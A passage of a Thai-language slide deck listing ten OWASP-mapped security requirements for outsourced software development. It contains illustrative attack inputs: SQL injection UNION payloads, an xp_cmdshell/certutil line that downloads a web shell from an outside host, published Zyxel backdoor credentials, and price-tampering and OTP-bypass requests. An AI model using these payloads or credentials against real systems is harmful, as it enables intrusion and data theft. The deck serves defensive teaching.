SlideShare une entreprise Scribd logo
1  sur  57
Télécharger pour lire hors ligne
Responsible: Mr. Pichaya Morimoto
Version (Date): 1.0 (2021-02-25)
Confidentiality class: Public
บจก.สยามถนัดแฮก
10 ขอกําหนดความปลอดภัย
เมื่อตองจางคนมาทําซอฟตแวรใหองคกร
Made for
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
2
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
3
49% of the Attacks
ขอมูลสําคัญ
ผูไมประสงคดี
ระบบ
สารสนเทศ
(ภายนอก)
ผูใชงานทั่วไป
ระบบ
สารสนเทศ
(ภายใน)
1
2
บริษัท แมวเหมียว
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
4
51% of the Attacks
ขอมูลสําคัญ
ระบบ
สารสนเทศ
(ภายนอก)
ระบบ
สารสนเทศ
(ภายใน)
ผูไมประสงคดี
ผูใชงานทั่วไป
?
ระบบที่
คาดไมถึงวา
จะโดน
- Firewall
- VPN GW
- User PC (Malware)
1
1
2
3
ผูใหบริการ
ภายนอก
บริษัท แมวเหมียว
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
5
Know your Attack Surfaces
ขอมูลสําคัญ
ระบบ
สารสนเทศ
(ภายใน)
ผูไมประสงคดี
?
ระบบที่
คาดไมถึงวา
จะโดน
ผูใหบริการ
ภายนอก
ระบบ
สารสนเทศ
(ภายนอก)
?
ระบบที่
คาดไมถึงวา
จะโดน
?
ระบบที่
คาดไมถึงวา
จะโดน
?
ระบบที่
คาดไมถึงวา
จะโดน
?
ระบบที่
คาดไมถึงวา
จะโดน
บริษัท แมวเหมียว
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
6
Defense in Depth
ขอมูลสําคัญ
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
7
Software Security (Secure SDLC)
Just do
PEnTest
HerE anD
wE aRe
DonE!
ในอุดมคติ
ในชีวิตจริง
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
8
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
9
OWASP Top 10 - Web, Mobile, API, ...
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
10
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
11
ETDA: มาตรฐานการรักษาความมั่นคงปลอดภัย
สําหรับเว็บไซต์ (Website Security Standard - WSS)
https://standard.etda.or.th/?page_id=7799
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
12
https://owasp.org/www-project-application-security-verification-standard/
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
13
10 ขอกําหนดดานความปลอดภัย
เมื่อตองจางคนมาทําซอฟตแวรใหองคกร
# ขอกําหนด OWASP Top 10 Web App
1 ใช Prepared Statement หรือเทียบเทา เทานั้น A1:2017 - Injection
2 สรางและใชงาน Database User สิทธิ์เทาที่จําเปน A6:2017 - Security Misconfiguration
3 แยกรหัสผานของระบบทดสอบกับระบบจริง A6:2017 - Security Misconfiguration
4 ลบบัญชี Backdoor ทดสอบระบบออก A2:2017 - Broken Authentication
5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก
A1:2017 - Injection, A4:2017 - XML External Entity (XXE),
A7:2017 - Cross-Site Scripting (XSS), A8:2017 - Insecure
Deserialization, ...
6 ใช session token เดาไมไดและเปลี่ยนใหมตลอด A2:2017 - Broken Authentication
7 แยกเซิรฟเวอรฐานขอมูลออกจาก ลูกคารายอื่น ๆ -
8 ตรวจสอบสิทธิ์ User Role ที่ฝงเซิรฟเวอร A5:2017 - Broken Access Control
9 ปดการเขาถึงระบบสวนที่ไมไดใชงาน A6:2017 - Security Misconfiguration
10 ปดการเขาถึงไฟลที่มีความเสี่ยง A6:2017 - Security Misconfiguration
(ปองกันโดนแฮก
78.95%)
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
14
#1 ใช Prepared Statement
หรือเทียบเทา เทานั้น
การเชื่อมตอฐานขอมูลที่ใชคําสั่ง SQL ตองใชคําสั่ง Parameterized Query/Prepared Statement
หรือเทียบเทา เทานั้น หามมีการใชคําสั่ง SQL ดวยการตอคา String โดยตรง
ถาหากมี การตอคา String ในคําสั่ง SQL (กรณีพิเศษ)
- ตองมีเอกสารเหตุผลประกอบ ในทุกจุดวาทําไมถึงไมสามารถใช
คําสั่ง Parameterized Query/Prepared Statement ในจุดนั้นได
- ตองอธิบายวิธีการทํา input validation เพิ่มเติม เพื่อกําหนด allowlist
ของขอมูลที่ยอมใหใสเขาไปไดอยางชัดเจน พรอมชื่อไฟล
และตัวอยางโคดที่ทําการตรวจสอบในกรณีนั้น ๆ
หามทํา blacklist เพื่อปองกัน SQL Injection เชนการหามใสคําสั่ง select union
หรือ 1 or 1=1 เพราะวาวิธีการทํา SQL Injection มีเยอะมาก
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
15
ตัวอย่าง SQL Injection Vulnerability
Class.forName("org.apache.derby.jdbc.ClientDriver");
Connection conn = DriverManager.getConnection (
"jdbc:derby://localhost:1527/sth","name","pass");
String username = request.getParameter("username");
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("SELECT * FROM TABLE WHERE
USERNAME = '" + username +"'");
https://sdhbank.local/?username=1'+and+1>2+union+select+password+from+users--+-
P@ssw0rd
password
123456
qwerty
dragon
iloveyou
...
SELECT * FROM TABLE WHERE USERNAME = '1' and 1>2
union select password from users-- -'
1
2
3
4
5
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
16
#1 ใช Prepared Statement
หรือเทียบเทา เทานั้น
ใช Prepared Statement
วิธีการ implement
Class.forName("org.apache.derby.jdbc.ClientDriver");
Connection conn = DriverManager.getConnection (
"jdbc:derby://localhost:1527/sth","name","pass");
PreparedStatement select = conn.prepareStatement(
"SELECT * FROM TABLE WHERE USERNAME = ?");
select.setString(1,request.getParameter("username"));
select.executeQuery();
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
17
SQL Query + Data
Data
Prepared Statement
Query
คําสั่ง SQL ที่มีการเชื่อมตอ String
คําสั่ง SQL ที่ไมมีการเชื่อมตอ String
set คาตัวแปร
Execute
sqlQuery = "SELECT * FROM TABLE WHERE
USERNAME = " + username;
Execute
sqlQuery = "SELECT * FROM TABLE WHERE
USERNAME = :username"
username
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
18
#1 ใช Prepared Statement หรือเทียบเทา
เทานั้น
วิธีการตรวจสอบ
- หาจุดที่มีการเขียนโคดดวย prepared statement บันทึกตัวอยางโคด/ชื่อไฟล
- หาจุดที่มีการเชื่อมตอคําสั่ง SQL กับ String
https://twitter.com/spaceraccoonsec/status/1158618707909677056
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
19
10 ขอกําหนดดานความปลอดภัย
เมื่อตองจางคนมาทําซอฟตแวรใหองคกร
# ขอกําหนด OWASP Top 10 Web App
1 ใช Prepared Statement หรือเทียบเทา เทานั้น A1:2017 - Injection
2 สรางและใชงาน Database User สิทธิ์เทาที่จําเปน A6:2017 - Security Misconfiguration
3 แยกรหัสผานของระบบทดสอบกับระบบจริง A6:2017 - Security Misconfiguration
4 ลบบัญชี Backdoor ทดสอบระบบออก A2:2017 - Broken Authentication
5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก
A1:2017 - Injection, A4:2017 - XML External Entity (XXE),
A7:2017 - Cross-Site Scripting (XSS), A8:2017 - Insecure
Deserialization, ...
6 ใช session token เดาไมไดและเปลี่ยนใหมตลอด A2:2017 - Broken Authentication
7 แยกเซิรฟเวอรฐานขอมูลออกจาก ลูกคารายอื่น ๆ -
8 ตรวจสอบสิทธิ์ User Role ที่ฝงเซิรฟเวอร A5:2017 - Broken Access Control
9 ปดการเขาถึงระบบสวนที่ไมไดใชงาน A6:2017 - Security Misconfiguration
10 ปดการเขาถึงไฟลที่มีความเสี่ยง A6:2017 - Security Misconfiguration
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
20
#2 สรางและใชงาน Database User
สิทธิ์เทาที่จําเปน
1. หามใชบัญชี DBA (DataBase Administrator) อยาง root
หรือ sa ในแอปพลิเคชัน เพื่อเชื่อมตอฐานขอมูลถาไมจําเปน
2. จะตองมีการสราง Database User ใหม และกําหนดสิทธิ์ ให
เขาถึง Table ที่แอปพลิเคชันจําเปนตองใชเทานั้น
หามกําหนดสิทธิ์ Database User ของแอปพลิเคชัน ใหสามารถ
อาน/เขียนไฟล หรือรัน OS Command ได ถาไมมีความจําเปน
POST / HTTP/1.1
Host: sdhbank.local
Content-Type: application/json
ID=1');exec
master..xp_cmdshell 'certutil
-urlcache -f
http://sth.sh:8000/shell.php
C:xampphtdocsshell.php';--
POST / HTTP/1.1
Host: sdhbank.local
Content-Type: application/json
ID=1' and 1>2 union select
password from
anotherapp.users-- -
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
21
#2 สรางและใชงาน Database User
สิทธิ์เทาที่จําเปน
วิธีการ implement
กําหนดสิทธิ์ Database User ใหสามารถ
select และ insert ขอมูลไดเทานั้น
$ mysql -u root -p
Enter password :
mysql> CREATE USER somchai@localhost IDENTIFIED BY QkYKmwtec;
Query OK, 0 rows affected (0.00 sec)
mysql> GRANT select,insert ON username TO somchai@localhost;
Query OK, 0 rows affected (0.00 sec)
mysql>
Class.forName("org.apache.derby.jdbc.ClientDriver");
Connection con = DriverManager.getConnection ("jdbc:derby://localhost/
mydatabase" +"?user=somchai@localhost&password=password");
String sql = "SELECT * FROM TABLE" +
" WHERE USERNAME = ? ORDER By CustomerID ASC";
pre = connect.prepareStatement(sql);
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
22
#2 สรางและใชงาน Database User สิทธิ์เทาที่
จําเปน
- เปดไฟลที่ใชเก็บรหัสผานของแอปพลิเคชันในการเชื่อมตอฐานขอมูลเชน config.php
เพื่อยืนยันวา database user ไมใชสิทธิ์ DBA (root หรือ sa)
- ทดลองใช database user เพื่อแสดงรายการสิทธิ์ของ ฐานขอมูลและคําสั่งที่ใชได
วิธีการตรวจสอบ
mysql> SHOW GRANTS FOR 'somchai'@'localhost';
+------------------------------------------------------------------+
| Grants for somchai@localhost |
+------------------------------------------------------------------+
| GRANT USAGE ON *.* TO `somchai`@`localhost` |
| GRANT SELECT, INSERT ON `mydatabase`.* TO `somchai`@`localhost` |
+------------------------------------------------------------------+
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
23
10 ขอกําหนดดานความปลอดภัย
เมื่อตองจางคนมาทําซอฟตแวรใหองคกร
# ขอกําหนด OWASP Top 10 Web App
1 ใช Prepared Statement หรือเทียบเทา เทานั้น A1:2017 - Injection
2 สรางและใชงาน Database User สิทธิ์เทาที่จําเปน A6:2017 - Security Misconfiguration
3 แยกรหัสผานของระบบทดสอบกับระบบจริง A6:2017 - Security Misconfiguration
4 ลบบัญชี Backdoor ทดสอบระบบออก A2:2017 - Broken Authentication
5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก
A1:2017 - Injection, A4:2017 - XML External Entity (XXE),
A7:2017 - Cross-Site Scripting (XSS), A8:2017 - Insecure
Deserialization, ...
6 ใช session token เดาไมไดและเปลี่ยนใหมตลอด A2:2017 - Broken Authentication
7 แยกเซิรฟเวอรฐานขอมูลออกจาก ลูกคารายอื่น ๆ -
8 ตรวจสอบสิทธิ์ User Role ที่ฝงเซิรฟเวอร A5:2017 - Broken Access Control
9 ปดการเขาถึงระบบสวนที่ไมไดใชงาน A6:2017 - Security Misconfiguration
10 ปดการเขาถึงไฟลที่มีความเสี่ยง A6:2017 - Security Misconfiguration
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
24
#3 แยกรหัสผานของระบบทดสอบกับระบบจริง
รหัสผานฐานขอมูล รหัสผานเซิรฟเวอร หรือสวนประกอบอื่น ๆ
ของ ระบบทดสอบ (UAT/Staging) กับ <--> ระบบใชงานจริง (Production)
หามเปนคาเดียวกัน
รวมถึง secret key ที่ใช ณ จุดตาง ๆ เชน Laravel APP_KEY,
Wordpress AUTH_KEY, หรือ secret key ที่ใช sign คา JWT เปนตน
และ หามใชรหัสผานหรือ secret key ที่พัฒนาใหระบบใหบริษัท
เปนคาเดียวกับที่นําไปใชใหลูกคาเจาอื่น
File: config.java
(UAT)
File: config.java
(Prod)
// UAT
String db_password = "1GZbsr1hmu";
String secret_key =
"sV8I20AP1VryWrxmhr3U3PgTAmbNWSMx";
// Prod
String db_password = "1GZbsr1hmu";
String secret_key =
"sV8I20AP1VryWrxmhr3U3PgTAmbNWSMx";
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
25
#3 แยกรหัสผานของระบบทดสอบกับระบบจริง
#1
สราง secret key 2 ครั้ง
ใชแยกกันในระบบทดสอบกับระบบจริง
วิธีการ implement
#2
แยกคนเขาถึง secret key
ของ UAT กับ Prod ออกจากัน
#3
มีระบบ automation ที่เก็บและดึง secret key
ตอน deployment แยกกันเสมอ
#4
มีระบบ automation ที่สุมและดึง secret key
ใหมเสมอ (** ขึ้นกับเงื่อนไขการใชงาน)
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
26
#3 แยกรหัสผานของระบบทดสอบกับระบบจริง
Jenkins → Credentials → System → Global Credentials → Add new credentials
(http://localhost:8080/credentials/store/system/domain/_/newCredentials)
ใช Jenkins เก็บและดึงไปใชตอน build/deploy
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
27
Jenkins - เอาไปต่อกับ Secret Vault อีกที
https://medium.com/lovescloud/secure-your-jenkins-90a694ce50fb
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
28
#3 แยกรหัสผานของระบบทดสอบกับระบบจริง
- รีวิวคา secret key วาคาของ UAT/Staging และ Prod เปนคนละคากัน
- ทดสอบนําคาเขารหัสของ UAT/Staging และ Prod มาสลับใชกัน
- รีวิวระบบ automation ที่ใช สราง/เก็บ/และดึง secret key มาใช
วิธีการตรวจสอบ
File: config.java
(UAT)
File: config.java
(Prod)
// UAT
String db_password = "EiM73rnnxUBvM7z4";
String secret_key =
"7eAKSD3VuLfAgoMzZpJSJ28oAyfkp9Vb";
// Prod
String db_password = "4e5MCVAbkieSzX4f";
String secret_key =
"DQ8mEcNK3zsB2GZcRNHZvZqUkHrK6NE9";
GET /api/admin
Host: prod.sdhbank.com
Cookie: session_token=<UAT-Admin-User-JWT>
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
29
10 ขอกําหนดดานความปลอดภัย
เมื่อตองจางคนมาทําซอฟตแวรใหองคกร
# ขอกําหนด OWASP Top 10 Web App
1 ใช Prepared Statement หรือเทียบเทา เทานั้น A1:2017 - Injection
2 สรางและใชงาน Database User สิทธิ์เทาที่จําเปน A6:2017 - Security Misconfiguration
3 แยกรหัสผานของระบบทดสอบกับระบบจริง A6:2017 - Security Misconfiguration
4 ลบบัญชี Backdoor ทดสอบระบบออก A2:2017 - Broken Authentication
5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก
A1:2017 - Injection, A4:2017 - XML External Entity (XXE),
A7:2017 - Cross-Site Scripting (XSS), A8:2017 - Insecure
Deserialization, ...
6 ใช session token เดาไมไดและเปลี่ยนใหมตลอด A2:2017 - Broken Authentication
7 แยกเซิรฟเวอรฐานขอมูลออกจาก ลูกคารายอื่น ๆ -
8 ตรวจสอบสิทธิ์ User Role ที่ฝงเซิรฟเวอร A5:2017 - Broken Access Control
9 ปดการเขาถึงระบบสวนที่ไมไดใชงาน A6:2017 - Security Misconfiguration
10 ปดการเขาถึงไฟลที่มีความเสี่ยง A6:2017 - Security Misconfiguration
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
30
#4 ลบบัญชี Backdoor ทดสอบระบบออก
ยืนยันวาได ลบบัญชีที่สรางไวสําหรับการทดสอบระบบ หรือตอนพัฒนา
ระบบ หลังจากที่สงมอบระบบเสร็จแลว
ถาหากมีความจําเปนที่ยังลบไมได จะตองมีเอกสารเหตุผลประกอบ วา
ทําไมตองมี และมาตรการความปลอดภัยที่รองรับ
เชนการตั้งรหัสผานที่ปลอดภัย
และขอมูลผูรับผิดชอบตอความเสียหาย
ที่อาจจะเกิดจากบัญชีนั้น ๆ
mysql> SELECT user FROM users;
+--------------------+
| user |
+--------------------+
| vendor_test |
| vendor_adm1 |
| demo |
+--------------------+
Admin Web Portal
Username:
Password:
Log in
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
31
#4 ลบบัญชี Backdoor ทดสอบระบบออก
- ลบบัญชีที่ไมมีความจําเปน
- ตรวจสอบรายชื่อ บัญชีในระบบ และความจําเปน
- สามารถ query ฐานขอมูลของ แอปพลิเคชัน
หรือจากหนาเว็บภายในไดเชนกัน
- (ถามี) รีวิววิธีและโคดที่ใชในการ initial และ migrate ฐานขอมูล
Account
วิธีการ implement และ ตรวจสอบ
mysql> SELECT user FROM users;
+--------------------+
| user |
+--------------------+
| valid_user1 |
| valid_user2 |
| valid_user3 |
+--------------------+
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
32
#4 ลบบัญชี Backdoor ทดสอบระบบออก
อุปกรณ Zyxel Firewall มี
- บัญชีผูใชงาน zyfwp
- รหัสผาน PrOw!aN_fXp
โดยบัญชีผูใชดังกลาวจะสามารถทําใหผูไมประสงคดี
สามารถเขาถึงระบบดวยสิทธิ์ root และติดตั้งโคดอันตรายได
Account
Backdoor ในอุปกรณ Network
$ ssh zyfwp@192.168.1.252
Password :
Router> show users current
No : 1
Name : zyfwp
Type : root
(...)
Router >
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
33
10 ขอกําหนดดานความปลอดภัย
เมื่อตองจางคนมาทําซอฟตแวรใหองคกร
# ขอกําหนด OWASP Top 10 Web App
1 ใช Prepared Statement หรือเทียบเทา เทานั้น A1:2017 - Injection
2 สรางและใชงาน Database User สิทธิ์เทาที่จําเปน A6:2017 - Security Misconfiguration
3 แยกรหัสผานของระบบทดสอบกับระบบจริง A6:2017 - Security Misconfiguration
4 ลบบัญชี Backdoor ทดสอบระบบออก A2:2017 - Broken Authentication
5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก
A1:2017 - Injection, A4:2017 - XML External Entity (XXE),
A7:2017 - Cross-Site Scripting (XSS), A8:2017 - Insecure
Deserialization, ...
6 ใช session token เดาไมไดและเปลี่ยนใหมตลอด A2:2017 - Broken Authentication
7 แยกเซิรฟเวอรฐานขอมูลออกจาก ลูกคารายอื่น ๆ -
8 ตรวจสอบสิทธิ์ User Role ที่ฝงเซิรฟเวอร A5:2017 - Broken Access Control
9 ปดการเขาถึงระบบสวนที่ไมไดใชงาน A6:2017 - Security Misconfiguration
10 ปดการเขาถึงไฟลที่มีความเสี่ยง A6:2017 - Security Misconfiguration
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
34
#5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก
ID :
POST /api/getStudentId
Host: api.sdhbank.com
id=1234&user_role=1
POST /api/getStudentId
Host: api.sdhbank.com
id=' and 1>2 union select
password from users-- -
&user_role=2
submit
1234
Student
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
35
Top-Up
Balance (price x amount)
45,000 - (2,000 x - 10) = 65,000
#5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก
10 Pay
IT SHOP Balance : 45,000 + 20,000
POST /api/pay
Host: api.itshopxyzgg.xxxxx
productid=1234&amount=-10
HTTP/1.1 200 OK
{
"Status":"success",
"Balance":"65000"
}
2,000 ฿ item
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
36
#5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก
API
/getOTP
API
/verifyOTP
API
/payment
การยืนยัน OTP ปกติ:
OTP Bypass:
API
/getOTP
API
/payment
ขาม API /verifyOTP
หรือยิงเขา API /payment
โดยตรง
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
ถาเลือกได ไมควรทํา Denylist อยางการจํากัดหาม
นามสกุลไฟลอันตราย .php .aspx เพราะแฮกเกอรอาจ
หานามสกุลไฟลอื่น ๆ ที่เราอาจจะไมรูและไมไดใสใน
Denylist มาโจมตีระบบได การกําหนดแบบ Allowlist
จึงปลอดภัยกวา
37
#5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก
File Upload ตองจํากัดวาใหอัปโหลดไดเฉพาะ
นามสกุลไฟล เปนคาที่ยอมรับ (Allowlist) เทานั้น
เชน .jpg .png
Allowlist
.jpg , .jpeg, .png , .gif , .webp
Denylist
.php, .aspx,
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
38
#5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก
- ใสเงื่อนไขการตรวจสอบที่โคดฝงเซิรฟเวอร (API) เปนหลัก
- หามเชื่อคาที่ตรวจสอบมาจากฝง client
(web browser และ mobile client)
วิธีการ implement และ ตรวจสอบ
-10 Pay
IT SHOP
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
39
10 ขอกําหนดดานความปลอดภัย
เมื่อตองจางคนมาทําซอฟตแวรใหองคกร
# ขอกําหนด OWASP Top 10 Web App
1 ใช Prepared Statement หรือเทียบเทา เทานั้น A1:2017 - Injection
2 สรางและใชงาน Database User สิทธิ์เทาที่จําเปน A6:2017 - Security Misconfiguration
3 แยกรหัสผานของระบบทดสอบกับระบบจริง A6:2017 - Security Misconfiguration
4 ลบบัญชี Backdoor ทดสอบระบบออก A2:2017 - Broken Authentication
5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก
A1:2017 - Injection, A4:2017 - XML External Entity (XXE),
A7:2017 - Cross-Site Scripting (XSS), A8:2017 - Insecure
Deserialization, ...
6 ใช session token เดาไมไดและเปลี่ยนใหมตลอด A2:2017 - Broken Authentication
7 แยกเซิรฟเวอรฐานขอมูลออกจาก ลูกคารายอื่น ๆ -
8 ตรวจสอบสิทธิ์ User Role ที่ฝงเซิรฟเวอร A5:2017 - Broken Access Control
9 ปดการเขาถึงระบบสวนที่ไมไดใชงาน A6:2017 - Security Misconfiguration
10 ปดการเขาถึงไฟลที่มีความเสี่ยง A6:2017 - Security Misconfiguration
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
40
#6 ใช Session Token เดาไมไดและเปลี่ยนใหมตลอด
ตองไมยอมใหใชงานไดถาหากยังไมไดเขาสูระบบ และการตรวจสอบตองทําที่ฝงเซิรฟเวอร
-10 Pay
IT SHOP
ตองมีการทํา Session Management โดยเมื่อมีการเขาสูระบบ ควรตองมีการสรางคาสุมเพื่อใชเปน Session
Token (หรือ Access Token) เปนคาใหมเสมอ และถูกสุมในรูปแบบที่ไมสามารถคาดเดาได
Cat Shop
Username:
Password:
Log in
user=user1&
pass=1234
access_token=
5gVCXXaiztV5
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
41
#6 ใช Session Token เดาไมไดและเปลี่ยนใหมตลอด
-10 Pay
IT SHOP
Cat Shop
Username:
Password:
Log in
user=user1&
pass=1234
access_token=
100001
Session Token
เปนคาที่เดาได Session Token
ไดคาเดิม Session Token
ไมตองใชก็ได
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
42
#6 ใช Session Token เดาไมไดและเปลี่ยนใหมตลอด
สราง session token และ ตรวจสอบ
session token ตลอดการเรียกใชงาน API
ถาทําไดควรตรวจสอบจากจุดศูนยกลาง
(ไมตองใสเงื่อนไขซํ้า ๆ ทุกฟงกชัน)
วิธีการ implement
- หา/แสดง จุดที่มีฟงกชันเขาสูระบบ
วามีการสราง session token ตรง
ไหน
- หา/แสดง จุดที่มีการตรวจสอบ
session token วาครบทุก API
วิธีการตรวจสอบ
@Override
protected void configure(HttpSecurity http)
throws Exception {
http
.headers()
.frameOptions()
.sameOrigin()
.and()
.authorizeRequests()
.antMatchers(
"/resources/**"
,
"/webjars/**","/assets/**").permitAll()
.antMatchers(
"/").permitAll()
.antMatchers("/admin/**").hasRole("ADMIN")
.anyRequest()
.authenticated()
.and()
.formLogin()
.loginPage(
"/login")
.defaultSuccessUrl(
"/home")
.failureUrl(
"/login?error"
)
.permitAll()
.and()
[...]
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
43
10 ขอกําหนดดานความปลอดภัย
เมื่อตองจางคนมาทําซอฟตแวรใหองคกร
# ขอกําหนด OWASP Top 10 Web App
1 ใช Prepared Statement หรือเทียบเทา เทานั้น A1:2017 - Injection
2 สรางและใชงาน Database User สิทธิ์เทาที่จําเปน A6:2017 - Security Misconfiguration
3 แยกรหัสผานของระบบทดสอบกับระบบจริง A6:2017 - Security Misconfiguration
4 ลบบัญชี Backdoor ทดสอบระบบออก A2:2017 - Broken Authentication
5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก
A1:2017 - Injection, A4:2017 - XML External Entity (XXE),
A7:2017 - Cross-Site Scripting (XSS), A8:2017 - Insecure
Deserialization, ...
6 ใช session token เดาไมไดและเปลี่ยนใหมตลอด A2:2017 - Broken Authentication
7 แยกเซิรฟเวอรฐานขอมูลออกจาก ลูกคารายอื่น ๆ -
8 ตรวจสอบสิทธิ์ User Role ที่ฝงเซิรฟเวอร A5:2017 - Broken Access Control
9 ปดการเขาถึงระบบสวนที่ไมไดใชงาน A6:2017 - Security Misconfiguration
10 ปดการเขาถึงไฟลที่มีความเสี่ยง A6:2017 - Security Misconfiguration
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
44
#7 แยกเซิรฟเวอรฐานขอมูลออกจาก ลูกคารายอื่น ๆ
ถาหากมีการเก็บขอมูล ของระบบที่ผูพัฒนาซอฟตแวร _ควรจะ_ ตองมีการแยกเซิรฟเวอรที่
ใชเปนฐานขอมูลออกจาก เซิรฟเวอรของลูกคารายอื่น ๆ อยางชัดเจน (ระดับ OS) เชน
Database หรือ File Storage
ถาหากเปนขอจํากัดที่ไมสามารถแยกไดจะตองมี เอกสารยอมรับความเสียหาย ถาหาก
เซิรฟเวอร ของลูกคาอื่นถูกโจมตีทําใหขอมูลขององคกรหลุดออกไป
Marketing App
Accounting App
ลูกคา
#1 ธนาคาร A
ลูกคา
#2 ธนาคาร B
IP: 1.2.3.4
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
45
#7 แยกเซิรฟเวอรฐานขอมูลออกจาก ลูกคารายอื่น ๆ
ถาหากมีการใช ที่เก็บขอมูลแบบ managed service หรือบน cloud (IaaS) เชน AWS RDS,
AWS S3 หรือ Firebase Realtime Database จะตองใชงานบัญชีที่สงมอบใหทางบริษัท
Vendor
A
แอป BBB 123
ใหธนาคาร BBB
แอป AAA 456
ใหธนาคาร AAA
ลูกคา
#1 ธนาคาร A
ลูกคา
